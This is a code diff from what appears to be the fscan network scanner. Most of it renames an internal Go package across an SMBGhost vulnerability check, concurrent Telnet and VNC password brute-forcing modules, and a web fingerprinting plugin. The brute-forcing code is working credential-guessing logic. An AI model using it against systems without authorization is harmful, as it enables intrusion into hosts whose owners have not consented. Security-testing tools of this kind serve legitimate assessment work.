vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -5,7 +5,7 @@ import (
"fmt" "fmt"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
) )
const ( const (
@ -95,9 +95,9 @@ const (
) )
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 // SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error { func SmbGhost(info *common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测 // 如果开启了暴力破解模式,跳过该检测
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
@ -107,17 +107,17 @@ func SmbGhost(info *Common.HostInfo) error {
} }
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 // SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error { func SmbGhostScan(info *common.HostInfo) error {
// 设置扫描参数 // 设置扫描参数
ip := info.Host ip := info.Host
port := 445 // SMB服务默认端口 port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 构造目标地址 // 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port) addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接 // 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil { if err != nil {
return err return err
} }
@ -154,7 +154,7 @@ func SmbGhostScan(info *Common.HostInfo) error {
// 发现漏洞,记录结果 // 发现漏洞,记录结果
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip) result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result) common.LogSuccess(result)
} }
return err return err

View File

@ -11,7 +11,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// TelnetCredential 表示一个Telnet凭据 // TelnetCredential 表示一个Telnet凭据
@ -29,22 +30,22 @@ type TelnetScanResult struct {
} }
// TelnetScan 执行Telnet服务扫描和密码爆破 // TelnetScan 执行Telnet服务扫描和密码爆破
func TelnetScan(info *Common.HostInfo) error { func TelnetScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []TelnetCredential var credentials []TelnetCredential
for _, user := range Common.Userdict["telnet"] { for _, user := range common.Userdict["telnet"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, TelnetCredential{ credentials = append(credentials, TelnetCredential{
Username: user, Username: user,
@ -53,11 +54,11 @@ func TelnetScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials))) len(common.Userdict["telnet"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentTelnetScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveTelnetResult(info, target, result) saveTelnetResult(info, target, result)
@ -67,18 +68,18 @@ func TelnetScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Telnet扫描全局超时") common.LogDebug("Telnet扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentTelnetScan 并发扫描Telnet服务 // concurrentTelnetScan 并发扫描Telnet服务
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult { func concurrentTelnetScan(ctx context.Context, info *common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -124,7 +125,7 @@ func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credential
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -145,14 +146,14 @@ func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credential
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Telnet并发扫描全局超时") common.LogDebug("Telnet并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryTelnetCredential 尝试单个Telnet凭据 // tryTelnetCredential 尝试单个Telnet凭据
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult { func tryTelnetCredential(ctx context.Context, info *common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -165,7 +166,7 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -233,7 +234,7 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -248,9 +249,9 @@ func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential
} }
// telnetConnWithContext 带上下文的Telnet连接尝试 // telnetConnWithContext 带上下文的Telnet连接尝试
func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) { func telnetConnWithContext(ctx context.Context, info *common.HostInfo, user, pass string) (bool, error) {
// 创建TCP连接(使用支持context的socks代理) // 创建TCP连接(使用支持context的socks代理)
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports)) conn, err := common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
if err != nil { if err != nil {
return false, err return false, err
} }
@ -287,7 +288,7 @@ func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pas
} }
// saveTelnetResult 保存Telnet扫描结果 // saveTelnetResult 保存Telnet扫描结果
func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) { func saveTelnetResult(info *common.HostInfo, target string, result *TelnetScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -310,17 +311,17 @@ func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanRe
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }
// TelnetClient Telnet客户端结构体 // TelnetClient Telnet客户端结构体

View File

@ -7,7 +7,8 @@ import (
"time" "time"
"github.com/mitchellh/go-vnc" "github.com/mitchellh/go-vnc"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// VncCredential 表示VNC凭据 // VncCredential 表示VNC凭据
@ -22,28 +23,28 @@ type VncScanResult struct {
Credential VncCredential Credential VncCredential
} }
func VncScan(info *Common.HostInfo) error { func VncScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建密码列表 // 构建密码列表
var credentials []VncCredential var credentials []VncCredential
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
credentials = append(credentials, VncCredential{Password: pass}) credentials = append(credentials, VncCredential{Password: pass})
} }
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials))) common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentVncScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveVncResult(info, target, result.Credential) saveVncResult(info, target, result.Credential)
@ -53,18 +54,18 @@ func VncScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("VNC扫描全局超时") common.LogDebug("VNC扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
return nil return nil
} }
} }
// concurrentVncScan 并发扫描VNC服务 // concurrentVncScan 并发扫描VNC服务
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult { func concurrentVncScan(ctx context.Context, info *common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -110,7 +111,7 @@ func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -131,14 +132,14 @@ func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials [
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("VNC并发扫描全局超时") common.LogDebug("VNC并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryVncCredential 尝试单个VNC凭据 // tryVncCredential 尝试单个VNC凭据
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult { func tryVncCredential(ctx context.Context, info *common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -151,7 +152,7 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -170,7 +171,7 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -185,12 +186,12 @@ func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential Vnc
} }
// VncConn 尝试建立VNC连接 // VncConn 尝试建立VNC连接
func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) { func VncConn(ctx context.Context, info *common.HostInfo, pass string) (bool, error) {
Host, Port := info.Host, info.Ports Host, Port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 使用带上下文的TCP连接 // 使用带上下文的TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout) conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), timeout)
if err != nil { if err != nil {
return false, err return false, err
} }
@ -252,14 +253,14 @@ func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, err
} }
// saveVncResult 保存VNC扫描结果 // saveVncResult 保存VNC扫描结果
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) { func saveVncResult(info *common.HostInfo, target string, credential VncCredential) {
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password) successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
Common.LogSuccess(successLog) common.LogSuccess(successLog)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -269,5 +270,5 @@ func saveVncResult(info *Common.HostInfo, target string, credential VncCredentia
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -1,13 +1,13 @@
package Plugins package Plugins
import ( import (
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/webscan"
) )
// WebPoc 直接执行Web漏洞扫描 // WebPoc 直接执行Web漏洞扫描
func WebPoc(info *Common.HostInfo) error { func WebPoc(info *common.HostInfo) error {
if Common.DisablePocScan { if common.DisablePocScan {
return nil return nil
} }
WebScan.WebScan(info) WebScan.WebScan(info)

View File

@ -14,9 +14,10 @@ import (
"time" "time"
"unicode/utf8" "unicode/utf8"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/webscan"
"github.com/shadow1ng/fscan/webscan/lib"
"golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/encoding/simplifiedchinese"
) )
@ -64,14 +65,14 @@ type ProtocolResult struct {
} }
// WebTitle 获取Web标题和指纹信息 // WebTitle 获取Web标题和指纹信息
func WebTitle(info *Common.HostInfo) error { func WebTitle(info *common.HostInfo) error {
if info == nil { if info == nil {
return fmt.Errorf("主机信息为空") return fmt.Errorf("主机信息为空")
} }
// 初始化Url // 初始化Url
if err := initializeUrl(info); err != nil { if err := initializeUrl(info); err != nil {
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err)) common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
return err return err
} }
@ -79,7 +80,7 @@ func WebTitle(info *Common.HostInfo) error {
checkData, err := fetchWebInfo(info) checkData, err := fetchWebInfo(info)
if err != nil { if err != nil {
// 记录错误但继续处理可能获取的数据 // 记录错误但继续处理可能获取的数据
Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err)) common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
} }
// 分析指纹 // 分析指纹
@ -89,7 +90,7 @@ func WebTitle(info *Common.HostInfo) error {
// 检查是否为打印机,避免意外打印 // 检查是否为打印机,避免意外打印
for _, v := range info.Infostr { for _, v := range info.Infostr {
if v == printerFingerPrint { if v == printerFingerPrint {
Common.LogBase("检测到打印机,停止扫描") common.LogBase("检测到打印机,停止扫描")
return nil return nil
} }
} }
@ -99,7 +100,7 @@ func WebTitle(info *Common.HostInfo) error {
} }
// 初始化Url根据主机和端口生成完整Url // 初始化Url根据主机和端口生成完整Url
func initializeUrl(info *Common.HostInfo) error { func initializeUrl(info *common.HostInfo) error {
if info.Url == "" { if info.Url == "" {
// 根据端口推断Url // 根据端口推断Url
switch info.Ports { switch info.Ports {
@ -109,7 +110,7 @@ func initializeUrl(info *Common.HostInfo) error {
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host) info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
default: default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports) host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol, err := detectProtocol(host, Common.Timeout) protocol, err := detectProtocol(host, common.Timeout)
if err != nil { if err != nil {
return fmt.Errorf("协议检测失败: %w", err) return fmt.Errorf("协议检测失败: %w", err)
} }
@ -118,7 +119,7 @@ func initializeUrl(info *Common.HostInfo) error {
} else if !strings.Contains(info.Url, "://") { } else if !strings.Contains(info.Url, "://") {
// 处理未指定协议的Url // 处理未指定协议的Url
host := strings.Split(info.Url, "/")[0] host := strings.Split(info.Url, "/")[0]
protocol, err := detectProtocol(host, Common.Timeout) protocol, err := detectProtocol(host, common.Timeout)
if err != nil { if err != nil {
return fmt.Errorf("协议检测失败: %w", err) return fmt.Errorf("协议检测失败: %w", err)
} }
@ -129,7 +130,7 @@ func initializeUrl(info *Common.HostInfo) error {
} }
// 获取Web信息标题、指纹等 // 获取Web信息标题、指纹等
func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) { func fetchWebInfo(info *common.HostInfo) ([]WebScan.CheckDatas, error) {
var checkData []WebScan.CheckDatas var checkData []WebScan.CheckDatas
// 记录原始Url协议 // 记录原始Url协议
@ -190,7 +191,7 @@ func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
} }
// 尝试获取Url支持重试 // 尝试获取Url支持重试
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) { func fetchUrlWithRetry(info *common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
// 获取页面内容 // 获取页面内容
resp, err := fetchUrl(info.Url, followRedirect) resp, err := fetchUrl(info.Url, followRedirect)
if err != nil { if err != nil {
@ -200,7 +201,10 @@ func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]
// 保存检查数据 // 保存检查数据
if resp.Body != nil && len(resp.Body) > 0 { if resp.Body != nil && len(resp.Body) > 0 {
headers := fmt.Sprintf("%v", resp.Headers) headers := fmt.Sprintf("%v", resp.Headers)
*checkData = append(*checkData, WebScan.CheckDatas{resp.Body, headers}) *checkData = append(*checkData, WebScan.CheckDatas{
Body: resp.Body,
Headers: headers,
})
} }
// 保存扫描结果 // 保存扫描结果
@ -220,11 +224,11 @@ func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
} }
// 设置请求头 // 设置请求头
req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" { if common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie) req.Header.Set("Cookie", common.Cookie)
} }
req.Header.Set("Connection", "close") req.Header.Set("Connection", "close")
@ -352,7 +356,7 @@ func extractTitle(body []byte) string {
} }
// 保存Web扫描结果 // 保存Web扫描结果
func saveWebResult(info *Common.HostInfo, resp *WebResponse) { func saveWebResult(info *common.HostInfo, resp *WebResponse) {
// 处理指纹信息 // 处理指纹信息
fingerprints := info.Infostr fingerprints := info.Infostr
if len(fingerprints) == 1 && fingerprints[0] == "" { if len(fingerprints) == 1 && fingerprints[0] == "" {
@ -376,9 +380,9 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
} }
// 保存扫描结果 // 保存扫描结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.SERVICE, Type: output.TypeService,
Target: info.Host, Target: info.Host,
Status: "identified", Status: "identified",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -392,7 +396,7 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
"fingerprints": fingerprints, "fingerprints": fingerprints,
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
// 输出控制台日志 // 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
@ -406,7 +410,7 @@ func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints) logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
} }
Common.LogInfo(logMsg) common.LogInfo(logMsg)
} }
// 检测目标主机的协议类型(HTTP/HTTPS) // 检测目标主机的协议类型(HTTP/HTTPS)

Some files were not shown because too many files have changed in this diff Show More